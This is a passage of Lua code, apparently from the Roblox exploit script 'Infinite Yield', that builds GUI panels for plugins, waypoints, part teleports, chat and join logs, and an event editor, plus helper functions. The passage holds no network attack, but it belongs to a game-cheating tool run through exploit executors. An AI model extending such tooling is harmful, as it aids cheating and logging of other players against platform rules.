shadow_3.BorderSizePixel = 0 shadow_3.Size = UDim2.new(0, 360, 0, 20) shadow_3.ZIndex = 10 table.insert(shade2,shadow_3) PopupText_3.Name = "PopupText" PopupText_3.Parent = shadow_3 PopupText_3.BackgroundTransparency = 1 PopupText_3.Size = UDim2.new(1, 0, 0.95, 0) PopupText_3.ZIndex = 10 PopupText_3.Font = Enum.Font.SourceSans PopupText_3.TextSize = 14 PopupText_3.Text = "Add Plugins" PopupText_3.TextColor3 = Color3.new(1, 1, 1) PopupText_3.TextWrapped = true table.insert(text1,PopupText_3) Exit_3.Name = "Exit" Exit_3.Parent = shadow_3 Exit_3.BackgroundTransparency = 1 Exit_3.Position = UDim2.new(1, -20, 0, 0) Exit_3.Size = UDim2.new(0, 20, 0, 20) Exit_3.Text = "" Exit_3.ZIndex = 10 ExitImage_3.Parent = Exit_3 ExitImage_3.BackgroundColor3 = Color3.new(1, 1, 1) ExitImage_3.BackgroundTransparency = 1 ExitImage_3.Position = UDim2.new(0, 5, 0, 5) ExitImage_3.Size = UDim2.new(0, 10, 0, 10) ExitImage_3.Image = getcustomasset("infiniteyield/assets/close.png") ExitImage_3.ZIndex = 10 AliasHint.Name = "AliasHint" AliasHint.Parent = AliasesFrame AliasHint.BackgroundTransparency = 1 AliasHint.BorderSizePixel = 0 AliasHint.Position = UDim2.new(0, 25, 0, 40) AliasHint.Size = UDim2.new(0, 200, 0, 50) AliasHint.Font = Enum.Font.SourceSansItalic AliasHint.TextSize = 16 AliasHint.Text = "Add aliases by using the 'addalias' command" AliasHint.TextColor3 = Color3.new(1, 1, 1) AliasHint.TextStrokeColor3 = Color3.new(1, 1, 1) AliasHint.TextWrapped = true AliasHint.ZIndex = 10 table.insert(text1,AliasHint) PluginsHint.Name = "PluginsHint" PluginsHint.Parent = PluginsFrame PluginsHint.BackgroundTransparency = 1 PluginsHint.BorderSizePixel = 0 PluginsHint.Position = UDim2.new(0, 25, 0, 40) PluginsHint.Size = UDim2.new(0, 200, 0, 50) PluginsHint.Font = Enum.Font.SourceSansItalic PluginsHint.TextSize = 16 PluginsHint.Text = "Download plugins from the IY Discord (discord.gg/78ZuWSq)" PluginsHint.TextColor3 = Color3.new(1, 1, 1) PluginsHint.TextStrokeColor3 = Color3.new(1, 1, 1) PluginsHint.TextWrapped = true PluginsHint.ZIndex = 10 table.insert(text1,PluginsHint) PositionsHint.Name = "PositionsHint" PositionsHint.Parent = PositionsFrame PositionsHint.BackgroundTransparency = 1 PositionsHint.BorderSizePixel = 0 PositionsHint.Position = UDim2.new(0, 25, 0, 40) PositionsHint.Size = UDim2.new(0, 200, 0, 70) PositionsHint.Font = Enum.Font.SourceSansItalic PositionsHint.TextSize = 16 PositionsHint.Text = "Use the 'swp' or 'setwaypoint' command to add a position using your character (NOTE: Part teleports will not save)" PositionsHint.TextColor3 = Color3.new(1, 1, 1) PositionsHint.TextStrokeColor3 = Color3.new(1, 1, 1) PositionsHint.TextWrapped = true PositionsHint.ZIndex = 10 table.insert(text1,PositionsHint) ToPartFrame.Name = randomString() ToPartFrame.Parent = ScaledHolder ToPartFrame.Active = true ToPartFrame.BackgroundTransparency = 1 ToPartFrame.Position = UDim2.new(0.5, -180, 0, -500) ToPartFrame.Size = UDim2.new(0, 360, 0, 20) ToPartFrame.ZIndex = 10 background_4.Name = "background" background_4.Parent = ToPartFrame background_4.Active = true background_4.BackgroundColor3 = Color3.fromRGB(36, 36, 37) background_4.BorderSizePixel = 0 background_4.Position = UDim2.new(0, 0, 0, 20) background_4.Size = UDim2.new(0, 360, 0, 117) background_4.ZIndex = 10 table.insert(shade1,background_4) ChoosePart.Name = "ChoosePart" ChoosePart.Parent = background_4 ChoosePart.BackgroundColor3 = Color3.fromRGB(46, 46, 47) ChoosePart.BorderSizePixel = 0 ChoosePart.Position = UDim2.new(0, 100, 0, 55) ChoosePart.Size = UDim2.new(0, 75, 0, 30) ChoosePart.Font = Enum.Font.SourceSans ChoosePart.TextSize = 14 ChoosePart.Text = "Select Part" ChoosePart.TextColor3 = Color3.new(1, 1, 1) ChoosePart.ZIndex = 10 table.insert(shade2,ChoosePart) table.insert(text1,ChoosePart) CopyPath.Name = "CopyPath" CopyPath.Parent = background_4 CopyPath.BackgroundColor3 = Color3.fromRGB(46, 46, 47) CopyPath.BorderSizePixel = 0 CopyPath.Position = UDim2.new(0, 185, 0, 55) CopyPath.Size = UDim2.new(0, 75, 0, 30) CopyPath.Font = Enum.Font.SourceSans CopyPath.TextSize = 14 CopyPath.Text = "Copy Path" CopyPath.TextColor3 = Color3.new(1, 1, 1) CopyPath.ZIndex = 10 table.insert(shade2,CopyPath) table.insert(text1,CopyPath) Directions_3.Name = "Directions" Directions_3.Parent = background_4 Directions_3.BackgroundTransparency = 1 Directions_3.BorderSizePixel = 0 Directions_3.Position = UDim2.new(0, 51, 0, 17) Directions_3.Size = UDim2.new(0, 257, 0, 32) Directions_3.Font = Enum.Font.SourceSans Directions_3.TextSize = 14 Directions_3.Text = 'Click on a part and then click the "Select Part" button below to set it as a teleport location' Directions_3.TextColor3 = Color3.new(1, 1, 1) Directions_3.TextWrapped = true Directions_3.TextYAlignment = Enum.TextYAlignment.Top Directions_3.ZIndex = 10 table.insert(text1,Directions_3) Path.Name = "Path" Path.Parent = background_4 Path.BackgroundTransparency = 1 Path.BorderSizePixel = 0 Path.Position = UDim2.new(0, 0, 0, 94) Path.Size = UDim2.new(0, 360, 0, 16) Path.Font = Enum.Font.SourceSansItalic Path.TextSize = 14 Path.Text = "" Path.TextColor3 = Color3.new(1, 1, 1) Path.TextScaled = true Path.TextWrapped = true Path.TextYAlignment = Enum.TextYAlignment.Top Path.ZIndex = 10 table.insert(text1,Path) shadow_4.Name = "shadow" shadow_4.Parent = ToPartFrame shadow_4.BackgroundColor3 = Color3.fromRGB(46, 46, 47) shadow_4.BorderSizePixel = 0 shadow_4.Size = UDim2.new(0, 360, 0, 20) shadow_4.ZIndex = 10 table.insert(shade2,shadow_4) PopupText_5.Name = "PopupText" PopupText_5.Parent = shadow_4 PopupText_5.BackgroundTransparency = 1 PopupText_5.Size = UDim2.new(1, 0, 0.95, 0) PopupText_5.ZIndex = 10 PopupText_5.Font = Enum.Font.SourceSans PopupText_5.TextSize = 14 PopupText_5.Text = "Teleport to Part" PopupText_5.TextColor3 = Color3.new(1, 1, 1) PopupText_5.TextWrapped = true table.insert(text1,PopupText_5) Exit_4.Name = "Exit" Exit_4.Parent = shadow_4 Exit_4.BackgroundTransparency = 1 Exit_4.Position = UDim2.new(1, -20, 0, 0) Exit_4.Size = UDim2.new(0, 20, 0, 20) Exit_4.Text = "" Exit_4.ZIndex = 10 ExitImage_5.Parent = Exit_4 ExitImage_5.BackgroundColor3 = Color3.new(1, 1, 1) ExitImage_5.BackgroundTransparency = 1 ExitImage_5.Position = UDim2.new(0, 5, 0, 5) ExitImage_5.Size = UDim2.new(0, 10, 0, 10) ExitImage_5.Image = getcustomasset("infiniteyield/assets/close.png") ExitImage_5.ZIndex = 10 logs.Name = randomString() logs.Parent = ScaledHolder logs.Active = true logs.BackgroundTransparency = 1 logs.Position = UDim2.new(0, 0, 1, 10) logs.Size = UDim2.new(0, 338, 0, 20) logs.ZIndex = 10 shadow.Name = "shadow" shadow.Parent = logs shadow.BackgroundColor3 = Color3.new(0.180392, 0.180392, 0.184314) shadow.BorderSizePixel = 0 shadow.Position = UDim2.new(0, 0, 0.00999999978, 0) shadow.Size = UDim2.new(0, 338, 0, 20) shadow.ZIndex = 10 table.insert(shade2,shadow) Hide.Name = "Hide" Hide.Parent = shadow Hide.BackgroundTransparency = 1 Hide.Position = UDim2.new(1, -40, 0, 0) Hide.Size = UDim2.new(0, 20, 0, 20) Hide.ZIndex = 10 Hide.Text = "" ImageLabel.Parent = Hide ImageLabel.BackgroundColor3 = Color3.new(1, 1, 1) ImageLabel.BackgroundTransparency = 1 ImageLabel.Position = UDim2.new(0, 3, 0, 3) ImageLabel.Size = UDim2.new(0, 14, 0, 14) ImageLabel.Image = getcustomasset("infiniteyield/assets/minimize.png") ImageLabel.ZIndex = 10 PopupText.Name = "PopupText" PopupText.Parent = shadow PopupText.BackgroundTransparency = 1 PopupText.Size = UDim2.new(1, 0, 0.949999988, 0) PopupText.ZIndex = 10 PopupText.Font = Enum.Font.SourceSans PopupText.FontSize = Enum.FontSize.Size14 PopupText.Text = "Logs" PopupText.TextColor3 = Color3.new(1, 1, 1) PopupText.TextWrapped = true table.insert(text1,PopupText) Exit.Name = "Exit" Exit.Parent = shadow Exit.BackgroundTransparency = 1 Exit.Position = UDim2.new(1, -20, 0, 0) Exit.Size = UDim2.new(0, 20, 0, 20) Exit.ZIndex = 10 Exit.Text = "" ImageLabel_2.Parent = Exit ImageLabel_2.BackgroundColor3 = Color3.new(1, 1, 1) ImageLabel_2.BackgroundTransparency = 1 ImageLabel_2.Position = UDim2.new(0, 5, 0, 5) ImageLabel_2.Size = UDim2.new(0, 10, 0, 10) ImageLabel_2.Image = getcustomasset("infiniteyield/assets/close.png") ImageLabel_2.ZIndex = 10 background.Name = "background" background.Parent = logs background.Active = true background.BackgroundColor3 = Color3.new(0.141176, 0.141176, 0.145098) background.BorderSizePixel = 0 background.ClipsDescendants = true background.Position = UDim2.new(0, 0, 1, 0) background.Size = UDim2.new(0, 338, 0, 245) background.ZIndex = 10 chat.Name = "chat" chat.Parent = background chat.Active = true chat.BackgroundColor3 = Color3.new(0.141176, 0.141176, 0.145098) chat.BorderSizePixel = 0 chat.ClipsDescendants = true chat.Size = UDim2.new(0, 338, 0, 245) chat.ZIndex = 10 table.insert(shade1,chat) Clear.Name = "Clear" Clear.Parent = chat Clear.BackgroundColor3 = Color3.new(0.180392, 0.180392, 0.184314) Clear.BorderSizePixel = 0 Clear.Position = UDim2.new(0, 5, 0, 220) Clear.Size = UDim2.new(0, 50, 0, 20) Clear.ZIndex = 10 Clear.Font = Enum.Font.SourceSans Clear.FontSize = Enum.FontSize.Size14 Clear.Text = "Clear" Clear.TextColor3 = Color3.new(1, 1, 1) table.insert(shade2,Clear) table.insert(text1,Clear) SaveChatlogs.Name = "SaveChatlogs" SaveChatlogs.Parent = chat SaveChatlogs.BackgroundColor3 = Color3.new(0.180392, 0.180392, 0.184314) SaveChatlogs.BorderSizePixel = 0 SaveChatlogs.Position = UDim2.new(0, 258, 0, 220) SaveChatlogs.Size = UDim2.new(0, 75, 0, 20) SaveChatlogs.ZIndex = 10 SaveChatlogs.Font = Enum.Font.SourceSans SaveChatlogs.FontSize = Enum.FontSize.Size14 SaveChatlogs.Text = "Save To .txt" SaveChatlogs.TextColor3 = Color3.new(1, 1, 1) table.insert(shade2,SaveChatlogs) table.insert(text1,SaveChatlogs) Toggle.Name = "Toggle" Toggle.Parent = chat Toggle.BackgroundColor3 = Color3.new(0.180392, 0.180392, 0.184314) Toggle.BorderSizePixel = 0 Toggle.Position = UDim2.new(0, 60, 0, 220) Toggle.Size = UDim2.new(0, 66, 0, 20) Toggle.ZIndex = 10 Toggle.Font = Enum.Font.SourceSans Toggle.FontSize = Enum.FontSize.Size14 Toggle.Text = "Disabled" Toggle.TextColor3 = Color3.new(1, 1, 1) table.insert(shade2,Toggle) table.insert(text1,Toggle) scroll_2.Name = "scroll" scroll_2.Parent = chat scroll_2.BackgroundColor3 = Color3.new(0.180392, 0.180392, 0.184314) scroll_2.BorderSizePixel = 0 scroll_2.Position = UDim2.new(0, 5, 0, 25) scroll_2.Size = UDim2.new(0, 328, 0, 190) scroll_2.ZIndex = 10 scroll_2.BottomImage = "rbxasset://textures/ui/Scroll/scroll-middle.png" scroll_2.CanvasSize = UDim2.new(0, 0, 0, 10) scroll_2.ScrollBarThickness = 8 scroll_2.TopImage = "rbxasset://textures/ui/Scroll/scroll-middle.png" table.insert(scroll,scroll_2) table.insert(shade2,scroll_2) join.Name = "join" join.Parent = background join.Active = true join.BackgroundColor3 = Color3.new(0.141176, 0.141176, 0.145098) join.BorderSizePixel = 0 join.ClipsDescendants = true join.Size = UDim2.new(0, 338, 0, 245) join.Visible = false join.ZIndex = 10 table.insert(shade1,join) Toggle_2.Name = "Toggle" Toggle_2.Parent = join Toggle_2.BackgroundColor3 = Color3.new(0.180392, 0.180392, 0.184314) Toggle_2.BorderSizePixel = 0 Toggle_2.Position = UDim2.new(0, 60, 0, 220) Toggle_2.Size = UDim2.new(0, 66, 0, 20) Toggle_2.ZIndex = 10 Toggle_2.Font = Enum.Font.SourceSans Toggle_2.FontSize = Enum.FontSize.Size14 Toggle_2.Text = "Disabled" Toggle_2.TextColor3 = Color3.new(1, 1, 1) table.insert(shade2,Toggle_2) table.insert(text1,Toggle_2) Clear_2.Name = "Clear" Clear_2.Parent = join Clear_2.BackgroundColor3 = Color3.new(0.180392, 0.180392, 0.184314) Clear_2.BorderSizePixel = 0 Clear_2.Position = UDim2.new(0, 5, 0, 220) Clear_2.Size = UDim2.new(0, 50, 0, 20) Clear_2.ZIndex = 10 Clear_2.Font = Enum.Font.SourceSans Clear_2.FontSize = Enum.FontSize.Size14 Clear_2.Text = "Clear" Clear_2.TextColor3 = Color3.new(1, 1, 1) table.insert(shade2,Clear_2) table.insert(text1,Clear_2) scroll_3.Name = "scroll" scroll_3.Parent = join scroll_3.BackgroundColor3 = Color3.new(0.180392, 0.180392, 0.184314) scroll_3.BorderSizePixel = 0 scroll_3.Position = UDim2.new(0, 5, 0, 25) scroll_3.Size = UDim2.new(0, 328, 0, 190) scroll_3.ZIndex = 10 scroll_3.BottomImage = "rbxasset://textures/ui/Scroll/scroll-middle.png" scroll_3.CanvasSize = UDim2.new(0, 0, 0, 10) scroll_3.ScrollBarThickness = 8 scroll_3.TopImage = "rbxasset://textures/ui/Scroll/scroll-middle.png" table.insert(scroll,scroll_3) table.insert(shade2,scroll_3) selectChat.Name = "selectChat" selectChat.Parent = background selectChat.BackgroundColor3 = Color3.new(0.180392, 0.180392, 0.184314) selectChat.BorderSizePixel = 0 selectChat.Position = UDim2.new(0, 5, 0, 5) selectChat.Size = UDim2.new(0, 164, 0, 20) selectChat.ZIndex = 10 selectChat.Font = Enum.Font.SourceSans selectChat.FontSize = Enum.FontSize.Size14 selectChat.Text = "Chat Logs" selectChat.TextColor3 = Color3.new(1, 1, 1) table.insert(shade2,selectChat) table.insert(text1,selectChat) selectJoin.Name = "selectJoin" selectJoin.Parent = background selectJoin.BackgroundColor3 = Color3.new(0.305882, 0.305882, 0.309804) selectJoin.BorderSizePixel = 0 selectJoin.Position = UDim2.new(0, 169, 0, 5) selectJoin.Size = UDim2.new(0, 164, 0, 20) selectJoin.ZIndex = 10 selectJoin.Font = Enum.Font.SourceSans selectJoin.FontSize = Enum.FontSize.Size14 selectJoin.Text = "Join Logs" selectJoin.TextColor3 = Color3.new(1, 1, 1) table.insert(shade3,selectJoin) table.insert(text1,selectJoin) function create(data) local insts = {} for i,v in pairs(data) do insts[v[1]] = Instance.new(v[2]) end for _,v in pairs(data) do for prop,val in pairs(v[3]) do if type(val) == "table" then insts[v[1]][prop] = insts[val[1]] else insts[v[1]][prop] = val end end end return insts[1] end ViewportTextBox = (function() local funcs = {} funcs.Update = function(self) local cursorPos = self.TextBox.CursorPosition local text = self.TextBox.Text if text == "" then self.TextBox.Position = UDim2.new(0,2,0,0) return end if cursorPos == -1 then return end local cursorText = text:sub(1,cursorPos-1) local pos = nil local leftEnd = -self.TextBox.Position.X.Offset local rightEnd = leftEnd + self.View.AbsoluteSize.X local totalTextSize = TextService:GetTextSize(text,self.TextBox.TextSize,self.TextBox.Font,Vector2.new(999999999,100)).X local cursorTextSize = TextService:GetTextSize(cursorText,self.TextBox.TextSize,self.TextBox.Font,Vector2.new(999999999,100)).X if cursorTextSize > rightEnd then pos = math.max(-2,cursorTextSize - self.View.AbsoluteSize.X + 2) elseif cursorTextSize < leftEnd then pos = math.max(-2,cursorTextSize-2) elseif totalTextSize < rightEnd then pos = math.max(-2,totalTextSize - self.View.AbsoluteSize.X + 2) end if pos then self.TextBox.Position = UDim2.new(0,-pos,0,0) self.TextBox.Size = UDim2.new(1,pos,1,0) end end local mt = {} mt.__index = funcs local function convert(textbox) local obj = setmetatable({OffsetX = 0, TextBox = textbox},mt) local view = Instance.new("Frame") view.BackgroundTransparency = textbox.BackgroundTransparency view.BackgroundColor3 = textbox.BackgroundColor3 view.BorderSizePixel = textbox.BorderSizePixel view.BorderColor3 = textbox.BorderColor3 view.Position = textbox.Position view.Size = textbox.Size view.ClipsDescendants = true view.Name = textbox.Name view.ZIndex = 10 textbox.BackgroundTransparency = 1 textbox.Position = UDim2.new(0,4,0,0) textbox.Size = UDim2.new(1,-8,1,0) textbox.TextXAlignment = Enum.TextXAlignment.Left textbox.Name = "Input" table.insert(text1,textbox) table.insert(shade2,view) obj.View = view textbox.Changed:Connect(function(prop) if prop == "Text" or prop == "CursorPosition" or prop == "AbsoluteSize" then obj:Update() end end) obj:Update() view.Parent = textbox.Parent textbox.Parent = view return obj end return {convert = convert} end)() ViewportTextBox.convert(Cmdbar).View.ZIndex = 10 ViewportTextBox.convert(Cmdbar_2).View.ZIndex = 10 ViewportTextBox.convert(Cmdbar_3).View.ZIndex = 10 function writefileExploit() if writefile then return true end end function readfileExploit() if readfile then return true end end function isNumber(str) if tonumber(str) ~= nil or str == 'inf' then return true end end function vtype(o, t) if o == nil then return false end if type(o) == "userdata" then return typeof(o) == t end return type(o) == t end function getRoot(char) local rootPart = char:FindFirstChild('HumanoidRootPart') or char:FindFirstChild('Torso') or char:FindFirstChild('UpperTorso') return rootPart end function tools(plr) if plr:FindFirstChildOfClass("Backpack"):FindFirstChildOfClass('Tool') or plr.Character:FindFirstChildOfClass('Tool') then return true end end function r15(plr) if plr.Character:FindFirstChildOfClass('Humanoid').RigType == Enum.HumanoidRigType.R15 then return true end end function toClipboard(txt) if everyClipboard then everyClipboard(tostring(txt)) notify("Clipboard", "Copied to clipboard") else notify("Clipboard", "Your exploit doesn't have the ability to use the clipboard") end end function chatMessage(str) str = tostring(str) if not isLegacyChat then TextChatService.TextChannels.RBXGeneral:SendAsync(str) else ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(str, "All") end end function getHierarchy(obj) local fullname local period if string.find(obj.Name,' ') then fullname = '["'..obj.Name..'"]' period = false else fullname = obj.Name period = true end local getS = obj local parent = obj local service = '' if getS.Parent ~= game then repeat getS = getS.Parent service = getS.ClassName until getS.Parent == game end if parent.Parent ~= getS then repeat parent = parent.Parent if string.find(tostring(parent),' ') then if period then fullname = '["'..parent.Name..'"].'..fullname else fullname = '["'..parent.Name..'"]'..fullname end period = false else if period then fullname = parent.Name..'.'..fullname else fullname = parent.Name..''..fullname end period = true end until parent.Parent == getS elseif string.find(tostring(parent),' ') then fullname = '["'..parent.Name..'"]' period = false end if period then return 'game:GetService("'..service..'").'..fullname else return 'game:GetService("'..service..'")'..fullname end end AllWaypoints = {} local cooldown = false function writefileCooldown(name,data) task.spawn(function() if not cooldown then cooldown = true writefile(name, data, true) else repeat wait() until cooldown == false writefileCooldown(name,data) end wait(3) cooldown = false end) end function dragGUI(gui) task.spawn(function() local dragging local dragInput local dragStart = Vector3.new(0,0,0) local startPos local function update(input) local delta = input.Position - dragStart local Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y) TweenService:Create(gui, TweenInfo.new(.20), {Position = Position}):Play() end gui.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then dragging = true dragStart = input.Position startPos = gui.Position input.Changed:Connect(function() if input.UserInputState == Enum.UserInputState.End then dragging = false end end) end end) gui.InputChanged:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then dragInput = input end end) UserInputService.InputChanged:Connect(function(input) if input == dragInput and dragging then update(input) end end) end) end dragGUI(logs) dragGUI(KeybindEditor) dragGUI(PluginEditor) dragGUI(ToPartFrame) eventEditor = (function() local events = {} local function registerEvent(name,sets) events[name] = { commands = {}, sets = sets or {} } end local onEdited = nil local function fireEvent(name,...) local args = {...} local event = events[name] if event then for i,cmd in pairs(event.commands) do local metCondition = true for idx,set in pairs(event.sets) do local argVal = args[idx] local cmdSet = cmd[2][idx] local condType = set.Type if condType == "Player" then if cmdSet == 0 then metCondition = metCondition and (tostring(Players.LocalPlayer) == argVal) elseif cmdSet ~= 1 then metCondition = metCondition and table.find(getPlayer(cmdSet,Players.LocalPlayer),argVal) end elseif condType == "String" then if cmdSet ~= 0 then metCondition = metCondition and string.find(argVal:lower(),cmdSet:lower()) end elseif condType == "Number" then if cmdSet ~= 0 then metCondition = metCondition and tonumber(argVal)<=tonumber(cmdSet) end end if not metCondition then break end end if metCondition then pcall(task.spawn(function() local cmdStr = cmd[1] for count,arg in pairs(args) do cmdStr = cmdStr:gsub("%$"..count,arg) end wait(cmd[3] or 0) execCmd(cmdStr) end)) end end end end local main = create({ {1,"Frame",{BackgroundColor3=Color3.new(0.14117647707462,0.14117647707462,0.14509804546833),BackgroundTransparency=1,BorderSizePixel=0,Name="EventEditor",Position=UDim2.new(0.5,-175,0,-500),Size=UDim2.new(0,350,0,20),ZIndex=10,}}, {2,"Frame",{BackgroundColor3=currentShade2,BorderSizePixel=0,Name="TopBar",Parent={1},Size=UDim2.new(1,0,0,20),ZIndex=10,}}, {3,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="Title",Parent={2},Position=UDim2.new(0,0,0,0),Size=UDim2.new(1,0,0.95,0),Text="Event Editor",TextColor3=Color3.new(1,1,1),TextSize=14,TextXAlignment=Enum.TextXAlignment.Center,ZIndex=10,}}, {4,"TextButton",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="Close",Parent={2},Position=UDim2.new(1,-20,0,0),Size=UDim2.new(0,20,0,20),Text="",TextColor3=Color3.new(1,1,1),TextSize=14,ZIndex=10,}}, {5,"ImageLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Image=getcustomasset("infiniteyield/assets/close.png"),Parent={4},Position=UDim2.new(0,5,0,5),Size=UDim2.new(0,10,0,10),ZIndex=10,}}, {6,"Frame",{BackgroundColor3=currentShade1,BorderSizePixel=0,Name="Content",Parent={1},Position=UDim2.new(0,0,0,20),Size=UDim2.new(1,0,0,202),ZIndex=10,}}, {7,"ScrollingFrame",{BackgroundColor3=Color3.new(0.14117647707462,0.14117647707462,0.14509804546833),BackgroundTransparency=1,BorderColor3=Color3.new(0.15686275064945,0.15686275064945,0.15686275064945),BorderSizePixel=0,BottomImage="rbxasset://textures/ui/Scroll/scroll-middle.png",CanvasSize=UDim2.new(0,0,0,100),Name="List",Parent={6},Position=UDim2.new(0,5,0,5),ScrollBarImageColor3=Color3.new(0.30588236451149,0.30588236451149,0.3098039329052),ScrollBarThickness=8,Size=UDim2.new(1,-10,1,-10),TopImage="rbxasset://textures/ui/Scroll/scroll-middle.png",ZIndex=10,}}, {8,"Frame",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Name="Holder",Parent={7},Size=UDim2.new(1,0,1,0),ZIndex=10,}}, {9,"UIListLayout",{Parent={8},SortOrder=2,}}, {10,"Frame",{BackgroundColor3=Color3.new(0.14117647707462,0.14117647707462,0.14509804546833),BackgroundTransparency=1,BorderColor3=Color3.new(0.3137255012989,0.3137255012989,0.3137255012989),BorderSizePixel=0,ClipsDescendants=true,Name="Settings",Parent={6},Position=UDim2.new(1,0,0,0),Size=UDim2.new(0,150,1,0),ZIndex=10,}}, {11,"Frame",{BackgroundColor3=Color3.new(0.14117647707462,0.14117647707462,0.14509804546833),Name="Slider",Parent={10},Position=UDim2.new(0,-150,0,0),Size=UDim2.new(1,0,1,0),ZIndex=10,}}, {12,"Frame",{BackgroundColor3=Color3.new(0.23529413342476,0.23529413342476,0.23529413342476),BorderColor3=Color3.new(0.3137255012989,0.3137255012989,0.3137255012989),BorderSizePixel=0,Name="Line",Parent={11},Size=UDim2.new(0,1,1,0),ZIndex=10,}}, {13,"ScrollingFrame",{BackgroundColor3=Color3.new(0.14117647707462,0.14117647707462,0.14509804546833),BackgroundTransparency=1,BorderColor3=Color3.new(0.15686275064945,0.15686275064945,0.15686275064945),BorderSizePixel=0,BottomImage="rbxasset://textures/ui/Scroll/scroll-middle.png",CanvasSize=UDim2.new(0,0,0,100),Name="List",Parent={11},Position=UDim2.new(0,0,0,25),ScrollBarImageColor3=Color3.new(0.30588236451149,0.30588236451149,0.3098039329052),ScrollBarThickness=8,Size=UDim2.new(1,0,1,-25),TopImage="rbxasset://textures/ui/Scroll/scroll-middle.png",ZIndex=10,}}, {14,"Frame",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Name="Holder",Parent={13},Size=UDim2.new(1,0,1,0),ZIndex=10,}}, {15,"UIListLayout",{Parent={14},SortOrder=2,}}, {16,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="Title",Parent={11},Size=UDim2.new(1,0,0,20),Text="Event Settings",TextColor3=Color3.new(1,1,1),TextSize=14,ZIndex=10,}}, {17,"TextButton",{BackgroundColor3=Color3.new(0.14117647707462,0.14117647707462,0.14509804546833),BorderColor3=Color3.new(0.15686275064945,0.15686275064945,0.15686275064945),Font=3,Name="Close",BorderSizePixel=0,Parent={11},Position=UDim2.new(1,-20,0,0),Size=UDim2.new(0,20,0,20),Text="<",TextColor3=Color3.new(1,1,1),TextSize=18,ZIndex=10,}}, {18,"Folder",{Name="Templates",Parent={10},}}, {19,"Frame",{BackgroundColor3=Color3.new(0.19607844948769,0.19607844948769,0.19607844948769),BackgroundTransparency=1,BorderColor3=Color3.new(0.15686275064945,0.15686275064945,0.15686275064945),Name="Players",Parent={18},Position=UDim2.new(0,0,0,25),Size=UDim2.new(1,0,0,86),Visible=false,ZIndex=10,}}, {20,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="Title",Parent={19},Size=UDim2.new(1,0,0,20),Text="Choose Players",TextColor3=Color3.new(1,1,1),TextSize=14,ZIndex=10,}}, {21,"TextLabel",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BackgroundTransparency=1,BorderSizePixel=0,Font=3,Name="Any",Parent={19},Position=UDim2.new(0,5,0,42),Size=UDim2.new(1,-10,0,20),Text="Any Player",TextColor3=Color3.new(1,1,1),TextSize=14,TextXAlignment=0,ZIndex=10,}}, {22,"Frame",{BackgroundColor3=Color3.new(0.30588236451149,0.30588236451149,0.3098039329052),BorderSizePixel=0,Name="Button",Parent={21},Position=UDim2.new(1,-20,0,0),Size=UDim2.new(0,20,0,20),ZIndex=10,}}, {23,"TextButton",{BackgroundColor3=Color3.new(0.58823531866074,0.58823531866074,0.59215688705444),BackgroundTransparency=1,BorderSizePixel=0,Font=3,Name="On",Parent={22},Position=UDim2.new(0,2,0,2),Size=UDim2.new(0,16,0,16),Text="",TextColor3=Color3.new(0,0,0),TextSize=14,ZIndex=10,}}, {24,"TextLabel",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BackgroundTransparency=1,BorderSizePixel=0,Font=3,Name="Me",Parent={19},Position=UDim2.new(0,5,0,20),Size=UDim2.new(1,-10,0,20),Text="Me Only",TextColor3=Color3.new(1,1,1),TextSize=14,TextXAlignment=0,ZIndex=10,}}, {25,"Frame",{BackgroundColor3=Color3.new(0.30588236451149,0.30588236451149,0.3098039329052),BorderSizePixel=0,Name="Button",Parent={24},Position=UDim2.new(1,-20,0,0),Size=UDim2.new(0,20,0,20),ZIndex=10,}}, {26,"TextButton",{BackgroundColor3=Color3.new(0.58823531866074,0.58823531866074,0.59215688705444),BackgroundTransparency=1,BorderSizePixel=0,Font=3,Name="On",Parent={25},Position=UDim2.new(0,2,0,2),Size=UDim2.new(0,16,0,16),Text="",TextColor3=Color3.new(0,0,0),TextSize=14,ZIndex=10,}}, {27,"TextBox",{BackgroundColor3=Color3.new(0.1803921610117,0.1803921610117,0.1843137294054),BorderColor3=Color3.new(0.15686275064945,0.15686275064945,0.15686275064945),BorderSizePixel=0,ClearTextOnFocus=false,Font=3,Name="Custom",Parent={19},PlaceholderColor3=Color3.new(0.47058826684952,0.47058826684952,0.47058826684952),PlaceholderText="Custom Player Set",Position=UDim2.new(0,5,0,64),Size=UDim2.new(1,-35,0,20),Text="",TextColor3=Color3.new(1,1,1),TextSize=14,TextXAlignment=0,ZIndex=10,}}, {28,"Frame",{BackgroundColor3=Color3.new(0.30588236451149,0.30588236451149,0.3098039329052),BorderSizePixel=0,Name="CustomButton",Parent={19},Position=UDim2.new(1,-25,0,64),Size=UDim2.new(0,20,0,20),ZIndex=10,}}, {29,"TextButton",{BackgroundColor3=Color3.new(0.58823531866074,0.58823531866074,0.59215688705444),BackgroundTransparency=1,BorderSizePixel=0,Font=3,Name="On",Parent={28},Position=UDim2.new(0,2,0,2),Size=UDim2.new(0,16,0,16),Text="",TextColor3=Color3.new(0,0,0),TextSize=14,ZIndex=10,}}, {30,"Frame",{BackgroundColor3=Color3.new(0.19607844948769,0.19607844948769,0.19607844948769),BackgroundTransparency=1,BorderColor3=Color3.new(0.15686275064945,0.15686275064945,0.15686275064945),Name="Strings",Parent={18},Position=UDim2.new(0,0,0,25),Size=UDim2.new(1,0,0,64),Visible=false,ZIndex=10,}}, {31,"TextLabel",{BackgroundColor3=Color3.new(1,1,1),BackgroundTransparency=1,Font=3,Name="Title",Parent={30},Size=UDim2.new(1,0,0,20),Text="Choose String",TextColor3=Color3.new(1,1,1),TextSize=14,ZIndex=10,}}, 